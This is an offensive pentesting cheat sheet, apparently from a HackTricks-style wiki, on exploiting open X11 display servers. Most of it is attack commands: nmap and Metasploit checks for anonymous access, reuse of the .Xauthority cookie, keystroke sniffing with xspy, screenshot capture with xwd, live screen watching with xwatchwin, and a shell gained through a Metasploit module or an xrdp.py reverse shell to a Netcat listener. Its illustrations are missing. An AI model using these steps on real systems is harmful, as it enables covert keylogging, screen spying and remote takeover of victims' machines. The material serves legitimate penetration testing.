||
## Basic Information
|
||
|
||
The X Window System (aka X) is a windowing system for bitmap displays, which is common on UNIX-based operating systems. X provides the basic framework for a GUI based environment. X also does not mandate the user interface – individual programs handle this.\
|
||
From: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
|
||
|
||
**Default port:** 6000
|
||
|
||
```
|
||
PORT STATE SERVICE
|
||
6000/tcp open X11
|
||
```
|
||
|
||
## Enumeration
|
||
|
||
Check for **anonymous connection:**
|
||
|
||
```bash
|
||
nmap -sV --script x11-access -p <PORT> <IP>
|
||
msf> use auxiliary/scanner/x11/open_x11
|
||
```
|
||
|
||
#### Local Enumeration
|
||
|
||
The file **`.Xauthority`** in the users home folder is **used** by **X11 for authorization**. From [**here**](https://stackoverflow.com/a/37367518):
|
||
|
||
> MIT-magic-cookie-1: Generating 128bit of key (“cookie”), storing it in \~/.Xauthority (or where XAUTHORITY envvar points to). The client sends it to server plain! the server checks whether it has a copy of this “cookie” and if so, the connection is permitted. the key is generated by DMX.
|
||
|
||
{% hint style="warning" %}
|
||
In order to **use the cookie** you should set the env var: **`export XAUTHORITY=/path/to/.Xauthority`**
|
||
{% endhint %}
|
||
|
||
## Verfy Connection
|
||
|
||
```bash
|
||
xdpyinfo -display <ip>:<display>
|
||
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
|
||
```
|
||
|
||
## Keyloggin
|
||
|
||
[xspy](http://tools.kali.org/sniffingspoofing/xspy) to sniff the keyboard keystrokes.
|
||
|
||
Sample Output:
|
||
|
||
```
|
||
xspy 10.9.xx.xx
|
||
|
||
opened 10.9.xx.xx:0 for snoopng

|

```
|
||
|
||
## Screenshots capturing
|
||
|
||
```bash
|
||
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
|
||
convert screenshot.xwd screenshot.png
|
||
```
|
||
|
||
## Remote Desktop View
|
||
|
||
Way from: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
|
||
|
||
```
|
||
./xrdp.py <IP:0>
|
||
```
|
||
|
||
Way from: [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
||
|
||
First we need to find the ID of the window using xwininfo
|
||
|
||
```
|
||
xwininfo -root -display 10.9.xx.xx:0
|
||
|
||
xwininfo: Window id: 0x45 (the root window) (has no name)
|
||
|
||
Absolute upper-left X: 0
|
||
Absolute upper-left Y: 0
|
||
Relative upper-left X: 0
|
||
Relative upper-left Y: 0
|
||
Width: 1024
|
||
Height: 768
|
||
Depth: 16
|
||
Visual: 0x21
|
||
Visual Class: TrueColor
|
||
Border width: 0
|
||
Class: InputOutput
|
||
Colormap: 0x20 (installed)
|
||
Bit Gravity State: ForgetGravity
|
||
Window Gravity State: NorthWestGravity
|
||
Backing Store State: NotUseful
|
||
Save Under State: no
|
||
Map State: IsViewable
|
||
Override Redirect State: no
|
||
Corners: +0+0 -0+0 -0-0 +0-0
|
||
-geometry 1024x768+0+0
|
||
```
|
||
|
||
**XWatchwin**
|
||
|
||
For **live viewing** we need to use
|
||
|
||
```bash
|
||
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
|
||
./xwatchwin 10.9.xx.xx:0 -w 0x45
|
||
```
|
||
|
||
## Get Shell
|
||
|
||
```
|
||
msf> use exploit/unix/x11/x11_keyboard_exec
|
||
```
|
||
|
||
Other way:
|
||
|
||
**Reverse Shell:** Xrdp also allows to take reverse shell via Netcat. Type in the following command:
|
||
|
||
**./xrdp.py \<IP:0> –no-disp**
|
||
|
||
|
||
|
||
It will prompt a new control pane where we can see the R-shell option, which is illustrated below:
|
||
|
||
|
||
|
||
We will start the Netcat listening mode in our local system on port 5555, which is illustrated below:
|
||
|
||
|
||
|
||
Then add the IP and port and then select R-Shell, which is illustrated below:
|
||
|
||
|
||
|
||
Now as can be seen below we have complete system access:
